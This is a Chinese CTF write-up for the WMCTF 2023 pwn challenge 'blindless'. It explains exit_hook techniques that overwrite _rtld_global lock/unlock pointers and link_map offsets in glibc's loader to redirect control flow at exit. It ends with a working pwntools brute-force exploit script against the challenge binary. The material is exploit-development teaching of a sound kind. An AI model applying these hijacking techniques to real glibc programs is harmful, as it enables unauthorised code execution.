wmctf的题解&blindless&exit_hook
0x00 好久不见
2023.8.25 夜里
wmctf2023也是一个收获很大的比赛。只做了一个blindless,但是体会到了无泄露做出题来的奥妙。踩过的坑(学到的东西)包括但不限于
调试要用docker,不然没符号表很痛苦 | 有想法一定要及时记下来,很有可能是解题重点 |
exit_hook的n种姿势(下面记录一下) | test edx,edx je是判断是否为0跳转…… |
总而言之,越痛苦学到的东西越多。一定做题要保持清醒,好好休息。(这次真是把exit看烂掉了哈哈哈哈哈哈)
0x01 思维
分析要有:动态调试分析,静态分析,运行分析还有源码分析。全都有才是最好的。
0x02 exit_hook的n种姿势
基地址丢这里你们参考一下。
首先是p &_rtld_global
(看地址),他有一个unlock和lock的参数可以改来调用。
注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!
exit_hook2libc
执行p _rtld_global
。看到那两个lock和unlock吗,就是他们两个,可以当exithook进行调用,可以改他们的内容。把后面的东西复制过来p &xxx
就可以查看地址了。修改这两个地址的的内容为哪儿,这里就会call哪儿。
注意看,这个程序叫小帅,他调用的第一个参数就是rdi来着,是_rtld_global+2312
,我们可以控制他的参数为/bin/sh\x00
然后做坏坏的事情(如果能把lock也改成system的话)。
然后unlock的参数也是2312这个偏移。
好的,我们就修改这两个地方就可以为所欲为了,但是exithook到这里还没完。
还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)
exit_hook2elf
1.间接call
这个在这里,第一个是间接call,可以修改他的偏移到任意函数got表,然后配合参数rdi偏移2312使用。这个的基地址和偏移是存在于link_map的。
这样可以找到他的地址。调试可以看到他会从这里取基地址。
然后加上偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8)
link_map地址+0xa8是存第二个直接call的偏移(注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8)。
2.直接call
嗯,不过如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l
出来那儿。但是这样肯定会损坏第一次call r14
的,会导致无法正常进行。结果发现有一个地方判断可以跳过call r14
。
就是这里,test edx,edx
是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。
在x86汇编中,
je
指令的作用是:
- 检查零标志位(ZF)是否被设置为 1。
- 如果零标志位被设置为 1,将进行跳转到指定的目标位置。
回溯发现是从link_map+0x120
取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!
完成这个操作,就可以修改基地址达到任意直接call的效果了!如果没有泄露,则直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。
0x03 exp
from pwn import *
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
while True:
context(os='linux', arch='amd64', log_level='debug')
p = process('./main')
context.terminal = ['tmux','new-window' ,'-n','-c']
#gdb.attach(p)
sla('ze',b'-10')#分配到libc上(用mmap)
sla('ze',b'256')
pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
pay += b'@'+p32(2148618432)
pay +=b'.' + b'\xb1'
pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
pay +=b'.' + b'\x00'
pay += b'q'
sla('code\n',pay)
re = p.recvrepeat(0.1)#一直接收直到有回显
#如果是system的话可以发一个cat flag再这样
#这是个很好的爆破方式,学习学习
if re:
print('pwned!get your flag here:',re)
exit(0)
p.close()
0x04 尾声
明天蓝帽杯了,祝我好运。nep的题目也可以再复现复现其实。
感谢星盟安全团队的wp:https://mp.weixin.qq.com/s/J8ZbppDee4yw2QJs85qdYQ
0x05 附录
2.31 libc到hook的地址为 hook = 0x222f68+base
2.27 中 hook = base+0x619f68